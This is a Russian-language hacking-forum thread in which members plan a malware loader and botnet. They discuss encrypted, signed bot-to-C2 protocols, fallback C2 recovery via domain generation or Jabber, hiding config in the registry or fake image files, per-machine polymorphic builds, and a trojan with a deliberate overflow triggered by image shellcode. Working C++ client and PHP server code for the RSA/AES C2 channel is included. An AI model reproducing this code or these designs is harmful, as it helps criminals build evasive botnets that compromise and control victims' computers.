Разработка DL лоадера

Отслеживать
demien, для начало надо решить что пишем, т.к. другой народ не отзывается то договориться будет проще. не надо ограничивать круг или закрывать тему если есть хотя бы пара человек, почему бы не пописать, по обсуждать и поучиться вместе. меня как бы не особо интересует финансовая сторона дела, мне так лиж бы поболтать на околомалварные темы.

Т.е. тут уже вопрос ориентации: модульный бот - двиг которого лоадер, чтобы стоило заморачиваться на всякие виртуализации кода, криптозащиты передачи трафа етц....
чтобы игра стоила свеч.
Проблема в том, что не было уточнено назначение проекта... Я считаю, что монетизация проекта - не продажа как отдельного софта, а именно поднятие сервисов, етц это хороший стимул.
из этого складывается впечатление, что тебе не охота лишний раз двигаться, если только потом это для тебя не окупится. имхо подход в надежде по быстрее заработать, обычно херово сказывается на качестве того что делают.

теперь по боту: рса и хттпс это круто и интересно, это если можно так сказать конечное улучшение протокола, ну куда еще круче то ... к тому же не лишено плюсов, усложняет анализ как внутри бота, так и снаружи.
 
согласен с тобой el-, это интересно. было дело я писал TLS обертку для сокетов, целью было использование TLS в джаббере.
если считать по шагам то удалось протопать:
1. рукопожатие
2. шифровка и отправка пакета на сервер
3. прием и дешифровка ответа
4. ... тут забил болт и отложил в долгий ящик, потому как люто надоело мне разбираться в кишках которые непонятно как завернуты.

почему говорю то об этом, применительно к HTTPS можно использовать и WinInet/WinHTTP, но это слишком просто и банально, а вот сокеты вручную обернутые CryptoAPI это уже интереснее. в принципе ради такого дела можно залезть в тот самый ящик и дописать обертку. а про всякие хешики/подписи/хуетписи я и не думал т.к. сам по сути :pioneer: в криптографии и CryptoAPI видел только в темноте и то со спины.

после того как будет определенность с протоколом, можно начинать думать о парсере базовых команд и как уже писал el- где-то выше, о системе общения между ботом и плагинами, в общем о плагинном движке и внутреннем API, так как это и есть основа от которой нужно будет двигаться дальше.
 
из этого складывается впечатление, что тебе не охота лишний раз двигаться, если только потом это для тебя не окупится. имхо подход в надежде по быстрее заработать, обычно херово сказывается на качестве того что делают.

У меня доход идет с других тем, и проблем с фин. стороны я не испытываю. Мне интересно развивать себя, общаться с людьми, которые могут чему-то научить, подсказать, одобрить, раскритиковать идею, етц. Цель моего прошлого поста, назначить ориентацию проекту, ведь об этом толком ничего не сказано и однозначного мнения нет. Темболее, если читать между строк мой предудыщий пост, то можно обнаружить, что я предложил с помощью этого бота поднять различные сервисы, которые опять же могут помочь развитию ДЛ, оплатить хостинг, и не нуждаться в размещении убогой рекламы, етц.

теперь по боту: рса и хттпс это круто и интересно, это если можно так сказать конечное улучшение протокола, ну куда еще круче то ... к тому же не лишено плюсов, усложняет анализ как внутри бота, так и снаружи.

Хорошо, я вижу что тебе это очень интересно, а интерес это здравая мативация. Пускай будет рса и хттпс :)

wahoo децентрализация CC с помощью жабера - это отличный вариант перевести ботнет, в случае если основные СС были выведены из строя, так что такие наработки стоит доставать из черного ящика однозначно ;)

p.s. вообщем становится очевидно, что тема интересна четверым с натяжкой людям... у меня складывается впечатление, что остальные просто тупо перестали видеть что в ринг0 происходит, либо не заходят на дл вообще, либо раздел обходят стороной...

p.s.s. что же такое кразз увидел и что его так напугало :)
 
waahoo, хттпс класс тоже писал криптоапи над сокетами, даже работает только не везде, загвостка в том что еще не до конца понял как все это юзается в реальном мире ( мало тестировал в общем, считай тоже отложил, остались еще TODO ), а именно траблы с протоколами

Код: 
	sc.grbitEnabledProtocols = 0;
	sc.grbitEnabledProtocols |= SP_PROT_SSL3;
//  sc.grbitEnabledProtocols |= SP_PROT_TLS1;
//  sc.grbitEnabledProtocols |= SP_PROT_TLS1_1;
//  sc.grbitEnabledProtocols |= SP_PROT_TLS1_2;
//  sc.grbitEnabledProtocols = SP_PROT_SSL3TLS1_X;

кто то поддерживает тлс, кто то нет, к некоторым сайтам не удается законектится не меняя флагов ... в общем надо тестить.


demien, как то с кем то мы уже обсуждали что жабер это не удобно и палевно, если приводить хороший ботнет на публичный сервер, если же на свой то чем это отличается от обычного варианта с хттпс

p.s.s. что же такое кразз увидел и что его так напугало
имхо, т.к. он свалил сразу после публикации свой статьи на тему антиэмуляции, видимо его задела критика этой самой статьи, я бы на местее Ar3s'a открыл бы ему сюда доступ заново, не удержится, зайдет, прочитает .. глядишь чего и ответит.
 
el-

1) насколько я помню, чтобы работать с CryptoAPI, нужно хранить ключи в стандартном хранилище, и оттуда работать с ними, и никак иначе. Тогда сам публичный ключ в хранилище станет фактором палевности. По этой причине мы в одном проекте отказались от CryptoAPI и заюзали для подобной задачи легковесную либу PolarSSL (polarssl.org). Если не прав - поправь.

2) phpseclib - это какая-то муть, серверные криптоприблуды хорошо работают в стандартном Openssl расширении для PHP. Для RSA я пользуюсь функциями PHP openssl_get_privatekey, openssl_private_decrypt
 
децентрализация CC с помощью жабера - это отличный вариант перевести ботнет, в случае если основные СС были выведены из строя
ты меня не совсем правильно понял, я не говорю о децентрализации с помощью джаббера, хотя признаюсь раньше я об этом думал, теперь в голове у меня немного другой децентрализованный бот, который я скорее всего напишу в ближ. время для того чтоб семья моя всегда кушала мясцо и ни в чем себе не отказывала, так что пока думки на эту тему оставлю при себе.
я говорил о том, что эта хрень, SSL/TLS, применима как к HTTPS так и к другим протоколам, SFTP, XMPP и другим т.е. достаточно написать один раз правильную обертку и шифровать можно почти любой трафик который позволяет это делать средствами ссл/тлс.

хотя возможно это я тебя неправильно понял, если ты говорил о переключении к механизму BRM (Botnet Rescue Mechanism, ну такое название более всех подходит на мой взгляд) в случае недоступности всех доменов прописанных в билде, бот может запустить такой механизм и у меня есть кое какие соображения и наработки на этот счет, т.е. по частичному* восстановлению популяции в случае ЧП с использованием джаббера, стенографии и прочих тонкостей протокола, возможно будет годно для полупаблик лоадера. но сейчас это не главное я думаю.

*не все боты смогут достучаться на 5222 порт из корпоративки например
 
признаться, я рад что появилась некая динамика в топе....

BRM Botnet Rescue Mechanism
да, это и имелось ввиду.

но сейчас это не главное я думаю.
имхо согласен.

У кого-то есть предложения, с чего конкретно начать? а то еще на 10 страниц разведем демагогию, что хорошо а что не очень:) нужно пробовать...пробовать и смотреть)
 
Ребята, поясните зачем для BRM нужен жаббер, стенография и т.д., если можно просто генерировать 1000 доменов в зависимости от текущей даты? Чем плохо? Ав-конторы не будут скупать каждый день по 1000 доменов, и не смогут перехватить контроль благодаря ЭЦП.

И еще я считаю BRM нужно учитывать в самом начале, и исходя из этого проектировать протокол общения с control-серверами. Ну например, пустая задача должна иметь определенный вид и иметь подпись в зависимости от даты как и другие задачи, т.к. в противном случае - если пустая команда будет означать пустой ответ от сервера - то злоумышленник, каким-то образом получив контроль над доменом control-сервера, сможет парализовать работу ботнета.
Также подписывание команд должно происходить не на control-серверах, так как в случае их взлома/захвата, злоумышленник получит ключ и следовательно контроль над ботнетом.
 
генерация доменов хоть все еще актуальна, но это не единственный вариант, вомзожно если пошевелим мозгами мож че придумаем...

И еще я считаю BRM нужно учитывать в самом начале, и исходя из этого проектировать протокол общения с control-серверами

Проектировать нужно все сразу, чтобы имелась наглядная архитектура будущего проекта.
 
Left4Deadх

1) у CryptAcquireContext есть флаг CRYPT_VERIFYCONTEXT, которые если верить msdn дает возможность создавать временный контейнер без сохранения ключей

This option is intended for applications that are using ephemeral keys, or applications that do not require access to persisted private keys, such as applications that perform only hashing, encryption, and digital signature verification. Only applications that create signatures or decrypt messages need access to a private key. In most cases, this flag should be set.

For file-based CSPs, when this flag is set, the pszContainer parameter must be set to NULL. The application has no access to the persisted private keys of public/private key pairs. When this flag is set, temporary public/private key pairs can be created, but they are not persisted.

2) да уже заделал все на openssl/mcrypt, пришлось правда нехило помучатся из-за всяких BLOB'ов, littlee-big ending'ов, pkcs5 padding, в общем подводных камней хватало, правда теперь получен бесценный опыт :)

добил протокол, изменив то что было в начале теперь юзается aes-256/sha1 вообще написанный класс легко юзается, если что можно сменить как душе угодно. все как и раньше, генерим сессионый аес-256 ключ, шифруем его паблик ключем, от сообщения берется хеш и потом сообщение шифруется сессионым ключем, все это собирается и отдается на сервер

Код: 
	std::string cl_pem = cfileapi::to_mem(L"K:\\1024.publ");

	cprov cl_prov(MS_ENH_RSA_AES_PROV, PROV_RSA_AES);

	ckey cl_key(cl_prov);
	cl_key.import_public_pem(cl_pem);

	ckey cl_ses_key(cl_prov);
	cl_ses_key.generate_key(CALG_AES_256, CRYPT_EXPORTABLE);

	std::string s_mess("this is message for encrypt/decrypt and sign/verify");
	
	chash cl_hash(cl_prov, CALG_SHA1);
	capi::encrypt(cl_ses_key, s_mess, cl_hash.get_hash());

	std::string s_sess = cl_ses_key.export_session_key(cl_key.get_key());
	_DBG("encrypt session key %d", s_sess.size());
	_DBGD(s_sess.c_str(), s_sess.size());

	std::string s_hash = cl_hash.hash_val();

	std::string cl_packet;
	cl_packet.resize(sizeof(_req_pack_hdr));
	_req_pack_hdr* cl_pack = (_req_pack_hdr*)cl_packet.c_str();
	cl_pack->dw_vers = 0x1000;
	cl_pack->dw_sess = s_sess.size();
	cl_pack->dw_hash = s_hash.size();
	cl_pack->dw_mess = s_mess.size();
	cl_packet.append(s_sess);
	cl_packet.append(s_hash);
	cl_packet.append(s_mess);

	chttp c_http("http://site.com/tt/");
	c_http.add_post_data("data", cl_packet, NULL, "application/octet-stream", "binary");
	std::string s_answer = c_http.execute();

на сервере все это дело получается, с помощью приват кея декриптуется сессионый кей, им расшифровывается сообщение, от него берется хеш который равен тому который передается

Код: 
require_once('hexdump.php');

$cnt = $_POST['data'];
if (get_magic_quotes_gpc())
    $cnt = stripslashes($cnt);

// make log
file_put_contents('log.log', "start ...\n");

//$cnt = file_get_contents('packet.bin');

/*
	cl_pack->dw_vers = 0x1000;
	cl_pack->dw_sess = s_sess.size();
	cl_pack->dw_hash = s_hash.size();
	cl_pack->dw_mess = s_mess.size();
*/

$hdr = unpack('Lversion/Lsession/Lhash/Lmessage', $cnt);
//print_r($hdr);

$sess = substr($cnt, 16, $hdr['session']);
$hash = substr($cnt, 16 + $hdr['session'], $hdr['hash']);
$mess = substr($cnt, 16 + $hdr['session'] + $hdr['hash'], $hdr['message']);

str('session key');
hdump($sess);
str('hash');
hdump($hash);
str('message');
hdump($mess);

$priv = file_get_contents('1024.priv');

$sess = strrev($sess);
$key = openssl_get_privatekey($priv);

$dec_sess = "";
openssl_private_decrypt($sess, $dec_sess, $key);
str('decrypt session key');
hdump($dec_sess);

// http://stackoverflow.com/questions/4537099/problem-with-aes-256-between-java-and-php
// MCRYPT_RIJNDAEL_256 is not AES. The 256 in that constant refers to the blocksize, not the keysize. Use
// MCRYPT_RIJNDAEL_128 to get the same algorithm as AES. The keysize is set just by the number of bytes
// in the key argument you supply. So supply 32 bytes and you get AES with a 256-bit key.
$mess = @mcrypt_cbc(MCRYPT_RIJNDAEL_128, $dec_sess, $mess, MCRYPT_DECRYPT);
//$mess = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $dec_sess, $mess, MCRYPT_MODE_CBC);
str('decrypt message');
hdump($mess);

// pkcs#5 padding
$mess = substr($mess, 0, -ord($mess[strlen($mess) - 1]));
str('without pkcs5 padding message');
hdump($mess);
str('hash');
hdump(hash('sha1', $mess, true));

потом собирается ответная мессага, зашифрованная сессионным ключем и подписанная

Код: 
$mess = 'this is answer message';
hdump($mess);

$sign = '';
// sha1 by default
openssl_sign($mess, $sign, $priv);
$sign = strrev($sign);
str('sign');
hdump($sign);

$mess = pkcs5_pad($mess, mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
str('add pkcs5 padding');
hdump($mess);

$mess = @mcrypt_cbc(MCRYPT_RIJNDAEL_128, $dec_sess, $mess, MCRYPT_ENCRYPT);
str('encrypt mess');
hdump($mess);

$answer = pack("LLL", 0x1000, strlen($sign), strlen($mess)) . $sign . $mess;
str('answer packet');
hdump($answer);

die($answer);

на клиенте получный ответ, парсится, декриптуется все тем же сессионным ключем и проверяется подпись.

Код: 
	_ans_pack_hdr *an_pack = (_ans_pack_hdr*)s_answer.c_str();
	std::string s_an_sign, s_an_mess;

	s_an_sign.assign(s_answer, sizeof(_ans_pack_hdr), an_pack->dw_sign);
	s_an_mess.assign(s_answer, sizeof(_ans_pack_hdr) + an_pack->dw_sign, an_pack->dw_mess);

	_DBG("signature:");
	_DBGD(s_an_sign.c_str(), s_an_sign.size());
	_DBG("message");
	_DBGD(s_an_mess.c_str(), s_an_mess.size());

	chash an_hash(cl_prov, CALG_SHA1);
	capi::decrypt(cl_ses_key, s_an_mess, an_hash.get_hash());
	_DBG("decrypt message");
	_DBGD(s_an_mess.c_str(), s_an_mess.size());

	if (an_hash.verify_sign(s_an_sign, cl_key.get_key()))
  _DBG("all ok");
	else if (GetLastError() == NTE_BAD_SIGNATURE)
  _DBG("bad signature");
	else
  _DBG("wtf?!");

таадаам!
 
demien, начать надо с тз, если не с полного, то постараться описать какие то части, и начать реализовывать их.

я как появится время попробую заделать config, для статичных данных типа где бы сохранить knonk rate или текущей домен, что то типа ini файла только в реестре с шифрование всех строк статичным ключем. как ключ так и ветка конфига в реестре, статична и переодически меняется от билда к билду

и наверное fs опять же какая то папка с файлами, которые будут зашифрованы и иметь возможность писать в них, читать из них блоками. тут уже по сложнее но и по интереснее.

или мб вы что то предлагайте.
 
Да, тз предлогаю вынести в отдельный топ (я открою), в первом посту которого решить и определиться с ТЗ, далее по нему там же отписываться о возможных пополнения\именения в пунктах.

А какие варианты вообще есть, ведь стоит взвесить их всех, и уже потом выбрать оптимальный для нас.

Например эль предлогает хранить в реестре с пошифрованным статичным ключом данные.
Как альтернатива - хранить в отдельном пошифрованном файле всю инфу. Легко поставить разделители, между ними писать, а также от версии к версии бота менять формат и алгос шифровки. Как вариант косить под какой нибудь файлик, возможно с форматом gif, jpg, etc.. т.е. с заголовком какого-нибудь файла. Аля стеганография. Благо возможностей чем у реестра больше, можно сначала закриптовать, а сверху еще своим алгосом кодировки по типа base64\ascii85 наложить для защиты от брутфорса етц.

Кстати у зевса конфиг как прецеплен? как он хранит свою инфу?

Для хранения файлов как раньше предлогалось (помойму идея эля точно не понмю) обрезать заголовки у бинарика, хранить его пошифрованным где-нить, также иметь загрузчик который будет декриптить, распаковывать, разкодировывать\собирать из частей и формировать буфер файла, который потом подгружать в память...
 
p.s. мне в пм пришло письмо :)

psaria Разработка лоадера, Вчера, 14:13

Привет,
я хочу развить навыки программирования,
сам был сисадмином в сетях, работал много с различным оборудованием и системой билинга,
сейчас хочу повысить уровень программирования на
с\с++.
Не интересует перепродажа вашего кода, интересен сам процесс создания.
Мой профиль psaria есть почти на всех хакерских форумах,
но я в режими ридонли везде.
Если нужен стажер в ваш проект, пиши, мне интересно и я скину вам свой джаббер.
Спасибо!

может в паблике кого-нибудь назначить ответственным и пусть че-то своё пишут? а то подумают.. вот на дл опять че то не успев начаться закончилось...

а так может кто там начнет годные идеи подавать\появятся притенденты в приватный раздел...
т.е. не предложив возможности показать себя, как можно судить о ком-либо на основании лишь догадок (с)
 
Кстати у зевса конфиг как прецеплен? как он хранит свою инфу?
последняя секция или оверлей
 
оверлей у него. у зевса.

народ а я вам предлагаю немного углубится если лоадер резидент. Тогда можно генерировать отдельно для каждый системы свой лоадер. Я говорю не тупо искать метки и всавлять код, а разбивать код на графы с создавать разные уник места, ну например в каждом боте будет свой уник ключь, на основе его и железа для каждой машине будет неакая информация. Конечно не все части надо менять в шаблоне, в основном это алгоритмы шифрования, ключей, ид бота. + пермутация всего этого даст большой шаг в перед. Я это говорю не в воздух, так как работы идут.
 
оверлей в трое - от лукавого, отсекаем такой вариант.

народ а я вам предлагаю немного углубится если лоадер резидент. Тогда можно генерировать отдельно для каждый системы свой лоадер. Я говорю не тупо искать метки и всавлять код, а разбивать код на графы с создавать разные уник места, ну например в каждом боте будет свой уник ключь, на основе его и железа для каждой машине будет неакая информация. Конечно не все части надо менять в шаблоне, в основном это алгоритмы шифрования, ключей, ид бота. + пермутация всего этого даст большой шаг в перед. Я это говорю не в воздух, так как работы идут.

есть ли какие нибудь наработки в сфере этой? или клерковские парсеры графов етц?
 
Я вот недавно общался с одним человеком тут и много теоретизируя на тему длительной непалености, пришел к такому утопическому варианту:

Сам трой не несет в себе никакой функциональности стандартного троя. В нем есть только работа с сетью, и автозапуск. Все остальное происходит следующим образом: Мы стучим на какой-то сайт и например умеем брать оттуда картинки и ставить их в качестве заставки рабочего стола. Свиду для АВ это не трой. Просто чейнджер картинок. Дальше-больше:

Из-за заранее встроеной в трой ошибки существует переполнение в работе парсинга этой картинки и специально сформированная картинка может привести к выполнению кода. (переполнение буффера проще говоря)

Имем трой без заранее встроенных команд. Все команды происходят через переполнение буфера и выполнение шелкода содержащегося в картинке. Написать такое конечно сложнее банального парсинга команд, но возможно это проживет дольше.
 
по сути универсальный подготовленный сплоет, который будет работать всегда и всюду, т.к. мы заранее знаем где будет ошибка и как исполнить код... в этом что-то есть:)
 
Я вот недавно общался с одним человеком тут и много теоретизируя на тему длительной непалености, пришел к такому утопическому варианту:

Сам трой не несет в себе никакой функциональности стандартного троя. В нем есть только работа с сетью, и автозапуск. Все остальное происходит следующим образом: Мы стучим на какой-то сайт и например умеем брать оттуда картинки и ставить их в качестве заставки рабочего стола. Свиду для АВ это не трой. Просто чейнджер картинок. Дальше-больше:

Из-за заранее встроеной в трой ошибки существует переполнение в работе парсинга этой картинки и специально сформированная картинка может привести к выполнению кода. (переполнение буффера проще говоря)

Имем трой без заранее встроенных команд. Все команды происходят через переполнение буфера и выполнение шелкода содержащегося в картинке. Написать такое конечно сложнее банального парсинга команд, но возможно это проживет дольше.

Так ты со мной и разговаривал :):) то не пали джабер :)

Добавлено в [time]1350295248[/time]
На счет наработок, уже многое есть, в общем щас еще не могу все показать, надо еще время, но через 1-2 месяца все будет в полном обьеме
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх